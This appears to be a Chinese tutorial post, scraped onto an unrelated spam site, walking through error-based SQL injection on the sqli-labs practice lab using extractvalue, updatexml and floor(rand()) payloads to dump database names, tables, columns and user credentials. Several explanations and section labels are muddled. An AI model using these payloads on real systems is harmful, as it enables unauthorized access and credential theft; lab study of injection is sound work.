当前位置: 首页 > wzjs >正文

门户类网站互联网营销师培训教程

门户类网站,互联网营销师培训教程,淘宝店网站建设,17858833595做网站上次写了第五关的布尔盲注,和双查询报错注入,还有其他报错注入的方法 一.extractvalue函数 extractvalue函数 原理 extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为: EXTRACTVALUE(xml, xpath_expr)xml 是 XML 字符…

上次写了第五关的布尔盲注,和双查询报错注入,还有其他报错注入的方法

一.extractvalue函数

extractvalue函数

原理

extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为:
EXTRACTVALUE(xml, xpath_expr)xml 是 XML 字符串,xpath_expr 是 XPath 表达式,该函数会从 xml 参数中提取与 XPath 表达式匹配的节点值,并返回结果。如果找不到匹配的节点,则返回空字符串,如果 XPath 表达式匹配了多个节点,则只返回第一个匹配的节点的值。

eg假设有这个XML 数据:

<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year>
</book>

用 extractvalue 函数提取 title 节点的值:

SELECT EXTRACTVALUE('<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year></book>', '//title');

执行结果:

MySQL Database Design and Tuning

实例

查库名

1' and extractvalue(1,concat(1,database())) %23

 '1' 表示在输入参数中添加一个条件,该条件与其他条件相互独立,用于生成一个新的查询结果。AND 连接符用于将新的条件与原有查询语句进行逻辑上的连接。extractvalue(1,concat(1,database())) 表示从 XML 数据中提取值,其中第一个参数为 1,表示要查询的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串,然后使用 extractvalue 函数从该字符串中提取值,并将其添加到查询结果中。如果数据库名称不为空,则返回该名称,否则返回空字符串。回显库名security下图

 

查表名

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)) %23

查列名

1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'))) %23

查字段

1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users), '~', (select group_concat(password) from users)) ) )) %23

由于extractvalue函数只能查询32位长度,导致结果缺失,改用limit查询

1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1), '~', (select password from users limit 0,1)) ) )) %23

 改一下0,1改成1,1 / 2,1/

 

 

 嘻嘻好像没啥用

updatexml函数

原理

updatexml 函数是 MySQL 数据库中用于修改 XML 格式数据的一个内置函数,语法如下

xml_target 表示要进行修改的 XML 数据;xpath_expr 表示要修改的节点路径;new_val 表示要修改成的新值。updatexml 函数的工作原理是将指定的 XML 数据解析为 DOM(文档对象模型) 文档树,并根据 xpath 表达式找到对应的节点,然后将该节点的内容替换为新值。如果节点不存在,则不进行任何操作。

实例

查库名

1' union select 1,2, (updatexml(1,concat(1,database()),1)) %23

UNION SELECT 1,2,(updatexml(1,concat(1,database()),1)) 表示使用 UNION 运算符将两个查询结果合并起来,同时将 updatexml 函数的结果添加到第二个 SELECT 查询中。

updatexml 函数用于修改 XML 数据中的内容,其中第一个参数为 1,表示要修改的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串作为修改内容;第三个参数为 1,表示将修改后的结果写入 XML 数据中。

 

查表名

1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

查列名

1' union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23

查字段

1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23

http://www.dtcms.com/wzjs/458991.html

相关文章:

  • 外置硬盘可以做网站访问合肥seo快排扣费
  • 企业网站案例分析寻找客户资源的网站
  • 句容做网站谷歌关键词查询工具
  • 郑州做网站的公司哪些网站建设模板
  • 做网站什么需要好关键词语有哪些
  • 做网站开发能挣钱营销团队外包
  • 安徽省建设工程协会网站seo初级入门教程
  • 网站架构图用什么画google搜索引擎入口网址
  • 内网网站开发成人营销管理培训班
  • 网站开发外包公司坑电销外包团队在哪找
  • 西安网站建设阳建百度搜索榜排名
  • 怎么测试一个网站百度手机助手下载安装最新版
  • 网站常用素材网络营销工具
  • 做网站是怎么回事网络推广专员
  • 谷歌优化教程搜索引擎优化课程
  • 网站优化排名技巧今天的新闻发布会
  • 最好的科技资讯网站关键词怎样做优化排名
  • 杭州专业网站2023最新15件重大新闻
  • 物流网络节点湖南seo网站开发
  • 潍坊网站建设策划微信怎么推广
  • 网站赞赏百度浏览器官方下载
  • 网站的域名怎么看国内10大搜索引擎
  • 美团网站做疏通广告网上接单平台有哪些
  • 姜堰网站开发网络营销策划书包括哪些内容
  • 浙江建筑网站百度广告投放价格
  • wordpress+下载媒体库hyein seo官网
  • 网站设计与网页制作岗位招聘信息seo常用工具有哪些
  • wordpress 新主题深圳网站seo公司
  • 吴江区城乡建设管理局网站地推拉新app推广平台有哪些
  • 广安做网站b2b网站大全免费推广